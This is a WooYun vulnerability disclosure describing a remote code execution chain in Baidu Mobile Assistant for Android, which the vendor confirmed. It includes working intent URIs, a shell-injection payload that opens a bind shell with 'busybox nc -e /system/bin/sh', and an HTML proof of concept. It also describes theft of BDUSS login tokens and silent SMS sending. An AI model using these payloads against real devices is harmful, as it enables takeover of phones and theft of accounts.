当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0194107

漏洞标题:百度手机助手远程代码执行漏洞

相关厂商:百度

漏洞作者: Lyleaks

提交时间:2016-04-09 10:38

修复时间:2016-07-08 11:50

公开时间:2016-07-08 11:50

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-09: 细节已通知厂商并且等待厂商处理中
2016-04-09: 厂商已经确认,细节仅向厂商公开
2016-04-12: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-06-03: 细节向核心白帽子及相关领域专家公开
2016-06-13: 细节向普通白帽子公开
2016-06-23: 细节向实习白帽子公开
2016-07-08: 细节向公众公开

简要描述:

百度手机助手某漏洞可执行任意代码,获取用户bduss等

详细说明:

百度手机助手可通过某导出组件来启动某私有组件,进而调用该组件webview中的接口。
EmptyActivity
通过设置extraction为goto_page和jump_config的type为4可启动CommonWebViewActivity并加载intent指定的url。

intent://#Intent;S.extraction=goto_page;S.jump_config={"jump":{"type":4,"url":"**.**.**.**/baidudemo.html?ju=1","title":"title","fParam":"","filter_type":1}};SEL;component=com.baidu.appsearch/com.baidu.appsearch.EmptyActivity;end


CommonWebViewActivity的AppSearchWebView通过addJavascriptInterface添加了appclient接口。
该接口提供的方法如下

@JavascriptInterface public boolean addCalendarRemind(String arg12) {
@JavascriptInterface @Deprecated public boolean addReminder(String arg11, long arg12, long arg14,
@JavascriptInterface public void addShortcut(String arg7, String arg8, String arg9) {
@JavascriptInterface public void appCallbackRegister(String arg3, String arg4, String arg5) {
@JavascriptInterface public boolean callTel(String arg6) {
@JavascriptInterface public void cancelDetectGyroscopeSensor() {
@JavascriptInterface public void cancelDownload(String arg10) {
@JavascriptInterface public void cancelVoiceLevel() {
@JavascriptInterface public boolean checkCreateShortcut() {
@JavascriptInterface public void copy(String arg4) {
@JavascriptInterface public void deleteShortcut(String arg4) {
@JavascriptInterface public void detectGyroscopeSensor(String arg5) {
@JavascriptInterface public boolean detectVoiceLevel(String arg7) {
@JavascriptInterface public long downloadApp(String arg12, String arg13) {
@JavascriptInterface public long downloadFile(String arg7, String arg8) {
@JavascriptInterface public void finishActivity() {
@JavascriptInterface public String getAccountInfo() {
@JavascriptInterface public String getAppInfo(String arg3, int arg4) {
@JavascriptInterface public String getAppState(String arg5) {
@JavascriptInterface @Deprecated public int getLoginState() {
@SuppressLint(value={"ServiceCast"}) @JavascriptInterface public int getMaxVolume(int arg3) {
@JavascriptInterface public int getUserRightState() {
@SuppressLint(value={"ServiceCast"}) @JavascriptInterface public int getVolume(int arg3) {
@JavascriptInterface @Deprecated public void gotoActivity(String arg6) {
@JavascriptInterface public void installApp(String arg2) {
@JavascriptInterface public boolean isAndroidEmulator() {
@JavascriptInterface public boolean isSupportGyroscopeSensor() {
@JavascriptInterface public void launchApp(String arg2) {
@JavascriptInterface public String linkTo(String arg3) {
@JavascriptInterface public void logout() {
@JavascriptInterface public boolean openAlbum() {
@JavascriptInterface public boolean openCallTel(String arg5) {
@JavascriptInterface public boolean openCamera(String arg4) {
@JavascriptInterface public boolean openMap(String arg4) {
@JavascriptInterface public boolean openSendMail(String arg5, String arg6, String arg7, String arg8) {
@JavascriptInterface public boolean openSendSMS(String arg6, String arg7) {
@JavascriptInterface public void pauseAppDownload(String arg10) {
@JavascriptInterface public void preferenceChannelSign() {
@JavascriptInterface public void receiveAward(String arg3) {
@JavascriptInterface public boolean sendSMS(String arg10, String arg11) {
@JavascriptInterface @Deprecated public void setEventCallBack(String arg2, String arg3) {
@JavascriptInterface @Deprecated public void setSetting(String arg3, boolean arg4) {
@JavascriptInterface public void setShareData(String arg2) {
@JavascriptInterface public void setShareData(String arg2, String arg3) {
@JavascriptInterface public void setShareData(String arg8, String arg9, int arg10) {
@JavascriptInterface public void setUserRightEnable(String arg2) {
@SuppressLint(value={"ServiceCast"}) @JavascriptInterface public boolean setVolume(int arg4, int
@JavascriptInterface public void showGuidePopup(String arg2) {
@JavascriptInterface public void showTitleBarShare(boolean arg3, String arg4) {
@JavascriptInterface public void softFavorites(String arg5) {
@JavascriptInterface public void softRegister(String arg5, String arg6) {
@JavascriptInterface public boolean startActivityIntent(String arg4) {
@JavascriptInterface public boolean startBroadcastIntent(String arg4) {
@JavascriptInterface public boolean startServiceIntent(String arg4) {
@JavascriptInterface @Deprecated public void toLogin() {
@JavascriptInterface public void toLogin(String arg3) {
@JavascriptInterface public long udpateApp(String arg3) {
@JavascriptInterface public void uninstallApp(String arg2) {
@JavascriptInterface public long updateApp(String arg9) {


该接口的大多数方法根据isOutUser方法的返回值是否为false来决定是否继续调用,如startServiceIntent

@JavascriptInterface public boolean startServiceIntent(String arg4) {
boolean v0 = false;
if(!this.isOutUser()) {
try {
this.mContext.startService(Intent.parseUri(arg4, 0));
v0 = true;
}
catch(Exception v1) {
}
}
return v0;
}


查看代码发现设置url的ju参数值为1可让isOutUser方法的返回值为false

private boolean e(String arg4) {
if(TextUtils.isEmpty(((CharSequence)arg4))) {
boolean v0 = false;
return v0;
}
String v0_1 = "http://";
Uri v0_2 = !arg4.startsWith(v0_1) ? Uri.parse(v0_1 + arg4) : Uri.parse(arg4);
try {
v0_1 = v0_2.getQueryParameter("ju");
}
catch(Exception v0_3) {
return false;
}
return !TextUtils.isEmpty(((CharSequence)v0_1)) && (v0_1.equals("1")) ? false : true;
}


@JavascriptInterface public boolean startActivityIntent(String arg4)
@JavascriptInterface public boolean startBroadcastIntent(String arg4)
@JavascriptInterface public boolean startServiceIntent(String arg4)
上面3个方法可以启动activity,service和发送广播。
通过SilentInstallService和SilentUninstallService可以静默安装和卸载app。
当没有root权限时百度手机助手会请求root权限,如果已经获取root权限则直接静默执行。
启动SilentInstallService时,从intent提取数据封装成InstallTask。

class InstallTask {
private String a;
private String b;
private String c;
public InstallTask(Intent arg2) {
super();
this.a = arg2.getStringExtra("com.baidu.appsearch.extra.APKFILEPATH");
this.b = arg2.getStringExtra("com.baidu.appsearch.extra.APPKEY");
this.c = arg2.getStringExtra("com.baidu.appsearch.extra.APPNAME");
}
static String a(InstallTask arg1) {
return arg1.a;
}
static String b(InstallTask arg1) {
return arg1.b;
}
static String c(InstallTask arg1) {
return arg1.c;
}
}


之后调用InstallTask的a方法获取apk文件路径(v0_1),调用pm install安装apk。

v10 = new DataOutputStream(v7);
v10.writeBytes("export LD_LIBRARY_PATH=/vendor/lib:/system/lib\n");
v10.flush();
v10.write("pm install -r \'" + v0_1 + "\'\n".getBytes("utf-8"));
v10.flush();
v10.writeBytes("exit\n");
v10.flush();
v0_6 = v5.waitFor();


通过上面的代码发现,只要闭合两边的单引号就可以注入执行任意代码,如下可执行busybox nc -ll -p 6666 -e /system/bin/sh

intent:#Intent;package=com.baidu.appsearch;component=com.baidu.appsearch/com.baidu.appsearch.SilentInstallService;S.com.baidu.appsearch.extra.APKFILEPATH=/data/data/com.baidu.appsearch/app_greedyporter/com.baidu.yuedu.apk' && busybox nc -ll -p 6666 -e '/system/bin/sh;S.com.baidu.appsearch.extra.APPNAME=com.demo;S.com.baidu.appsearch.extra.APPKEY=com.demo;end


Screenshot_2016-04-08-22-15-48.png


2.png


通过Intent URI scheme可远程利用,POC如下。

<html>  
<head>
<meta charset="utf-8" />
<title>DEMO</title>
</head>
<body>
<script>
location.href="intent://#Intent;S.extraction=goto_page;S.jump_config=%7B%22jump%22%3A%7B%22type%22%3A4%2C%22url%22%3A%22http%3A%2F%2F**.**.**.**%2Fbaidudemo.html?ju=1%22%2C%22title%22%3A%22title%22%2C%22fParam%22%3A%22%22%2C%22filter_type%22%3A1%7D%7D;SEL;component=com.baidu.appsearch/com.baidu.appsearch.EmptyActivity;end";
</script>
</body>
</html>


baidudemo.html

<h1>demo</h1>
<script>
appclient.startServiceIntent("intent:#Intent;package=com.baidu.appsearch;component=com.baidu.appsearch/com.baidu.appsearch.SilentInstallService;S.com.baidu.appsearch.extra.APKFILEPATH=/data/data/com.baidu.appsearch/app_greedyporter/com.baidu.yuedu.apk' && busybox nc -ll -p 6666 -e '/system/bin/sh;S.com.baidu.appsearch.extra.APPNAME=com.demo;S.com.baidu.appsearch.extra.APPKEY=com.demo;end");
</script>


除了上面的方法,还有很多方法可以利用。
getAccountInfo可以获取用户信息,比如uid和bduss。

3.jpg


sendSMS可以用来静默发送短信。
7.0之前的版本还可以用downloadFile来自动下载安装app。

漏洞证明:

演示视频:
链接: http://**.**.**.**/s/1i5nkQnb 密码: 28d7
测试版本:

Screenshot_2016-04-08-21-17-31.png

修复方案:

版权声明:转载请注明来源 Lyleaks@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2016-04-09 11:47

厂商回复:

感谢对百度安全的关注!

最新状态:

暂无


漏洞评价:

评价

  1. 2016-04-09 10:53 | 坏男孩-A_A ( 实习白帽子 | Rank:81 漏洞数:23 | 膜拜学习中)

    mark

  2. 2016-04-09 10:59 | Fremy ( 实习白帽子 | Rank:47 漏洞数:10 | 一个快乐的临时工..)

    老板这洞终于调过啦?..

  3. 2016-04-09 11:37 | 大眼夹 ( 路人 | Rank:13 漏洞数:1 | 业余小白)

    洞主好强大

  4. 2016-04-12 16:31 | f4ckbaidu ( 普通白帽子 | Rank:265 漏洞数:33 | 开发真是日了狗了)

    66666666

  5. 2016-06-13 15:47 | Nicky ( 普通白帽子 | Rank:493 漏洞数:71 | http://www.droidsec.cn 安卓安全中文站)

    经典漏洞,赞详细分析

  6. 2016-06-21 10:25 | dragon110 ( 路人 | Rank:12 漏洞数:6 | 其实我是龙6)

    看不到呐...